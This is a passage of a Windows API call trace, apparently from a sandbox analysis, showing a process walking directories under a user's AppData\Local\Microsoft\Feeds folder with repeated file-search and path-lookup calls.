lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.649] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.649] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 0 [0097.649] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.649] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.649] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.649] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.649] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.649] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 0 [0097.649] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.649] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.649] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe64c) returned 1 [0097.649] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe648) returned 1 [0097.649] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.649] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.650] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.650] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 0 [0097.650] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.650] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.650] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.650] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.650] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.650] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 0 [0097.650] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.650] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.650] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe64c) returned 1 [0097.651] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe648) returned 1 [0097.651] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.651] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.651] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.651] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.651] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.651] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.651] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.651] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.651] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe64c) returned 1 [0097.651] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe648) returned 1 [0097.651] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.652] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.652] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.652] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.652] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.652] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.652] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe64c) returned 1 [0097.653] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe648) returned 1 [0097.653] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.653] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.653] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.730] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft", lpFilePart=0x0) returned 0x29 [0097.732] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0097.733] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0097.733] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0097.733] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0097.734] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0097.734] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0097.734] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x6cfe4ac, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x40 [0097.735] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", nBufferLength=0x105, lpBuffer=0x6cfe4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpFilePart=0x0) returned 0x40 [0097.735] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x6cfe4ac, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x40 [0097.736] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe904) returned 1 [0097.736] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\feeds\\microsoft feeds~"), fInfoLevelId=0x0, lpFileInformation=0x6cfe980 | out: lpFileInformation=0x6cfe980*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa7fe5270, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa81d4450, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xfee3456d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0097.736] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe900) returned 1 [0097.736] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe990) returned 1 [0097.736] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x6cfe494, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x40 [0097.737] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", nBufferLength=0x105, lpBuffer=0x6cfe4a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpFilePart=0x0) returned 0x40 [0097.737] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x6cfe494, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x40 [0097.737] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x6cfe48c, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x41 [0097.739] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\*", lpFindFileData=0x6cfe6b8 | out: lpFindFileData=0x6cfe6b8) returned 0x6fe97d8 [0097.739] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.739] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.739] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.739] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.739] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 0 [0097.740] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0097.740] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe950) returned 1 [0097.740] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe95c) returned 1 [0097.740] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe990) returned 1 [0097.740] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x6cfe494, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x40 [0097.740] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", nBufferLength=0x105, lpBuffer=0x6cfe4a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpFilePart=0x0) returned 0x40 [0097.741] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x6cfe494, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x40 [0097.741] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x6cfe48c, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x41 [0097.743] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\*", lpFindFileData=0x6cfe6b8 | out: lpFindFileData=0x6cfe6b8) returned 0x6fe97d8 [0097.743] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.743] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.743] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.743] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.743] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 0 [0097.743] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0097.744] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe950) returned 1 [0097.744] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe95c) returned 1 [0097.744] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpszLongPath=0x6cfe4ac, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 0x57 [0097.744] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", nBufferLength=0x105, lpBuffer=0x6cfe4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpFilePart=0x0) returned 0x57 [0097.744] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpszLongPath=0x6cfe4ac, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 0x57 [0097.746] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe904) returned 1 [0097.746] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~"), fInfoLevelId=0x0, lpFileInformation=0x6cfe980 | out: lpFileInformation=0x6cfe980*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xa7fe5270, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa7fe5270, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0097.746] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe900) returned 1 [0097.746] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe990) returned 1 [0097.746] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpszLongPath=0x6cfe494, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 0x57 [0097.746] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", nBufferLength=0x105, lpBuffer=0x6cfe4a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpFilePart=0x0) returned 0x57 [0097.746] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpszLongPath=0x6cfe494, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 0x57 [0097.747] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x6cfe48c, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x58 [0097.749] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\*", lpFindFileData=0x6cfe6b8 | out: lpFindFileData=0x6cfe6b8) returned 0x6fe97d8 [0097.749] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.749] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 1 [0097.749] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe6c8 | out: lpFindFileData=0x6cfe6c8) returned 0 [0097.749] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0097.749] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe950) returned 1 [0097.749] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe95c) returned 1 [0097.749] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x6cfe438, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x58 [0097.750] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpszLongPath=0x6cfe438, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned 0x62 [0097.751] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", nBufferLength=0x105, lpBuffer=0x6cfe44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpFilePart=0x0) returned 0x62 [0097.751] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpszLongPath=0x6cfe438, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned 0x62 [0097.752] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe890) returned 1 [0097.752] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~"), fInfoLevelId=0x0, lpFileInformation=0x6cfe90c | out: lpFileInformation=0x6cfe90c*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xa7fe5270, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xbae322b0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xbae322b0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0097.752] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe88c) returned 1 [0097.752] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe91c) returned 1 [0097.752] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x6cfe420, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x58 [0097.752] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpszLongPath=0x6cfe420, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned 0x62 [0097.753] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", nBufferLength=0x105, lpBuffer=0x6cfe434, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpFilePart=0x0) returned 0x62 [0097.753] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpszLongPath=0x6cfe420, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned 0x62 [0097.754] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x6cfe418, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x58 [0097.754] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\", lpszLongPath=0x6cfe418, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\") returned 0x63 [0097.756] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\*", lpFindFileData=0x6cfe644 | out: lpFindFileData=0x6cfe644) returned 0x6fe97d8 [0097.756] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0097.756] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0097.756] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0097.756] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 0 [0097.756] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0097.756] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe8dc) returned 1 [0097.756] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe8e8) returned 1 [0097.756] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe91c) returned 1 [0097.757] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x6cfe420, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x58 [0097.757] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpszLongPath=0x6cfe420, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned 0x62 [0097.758] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", nBufferLength=0x105, lpBuffer=0x6cfe434, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpFilePart=0x0) returned 0x62 [0097.758] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpszLongPath=0x6cfe420, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned 0x62 [0097.758] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x6cfe418, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x58 [0097.759] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\", lpszLongPath=0x6cfe418, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\") returned 0x63 [0097.771] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\*", lpFindFileData=0x6cfe644 | out: lpFindFileData=0x6cfe644) returned 0x6fe97d8 [0097.772] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0097.772] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0097.772] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 1 [0097.772] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe654 | out: lpFindFileData=0x6cfe654) returned 0 [0097.772] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0097.772] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe8dc) returned 1 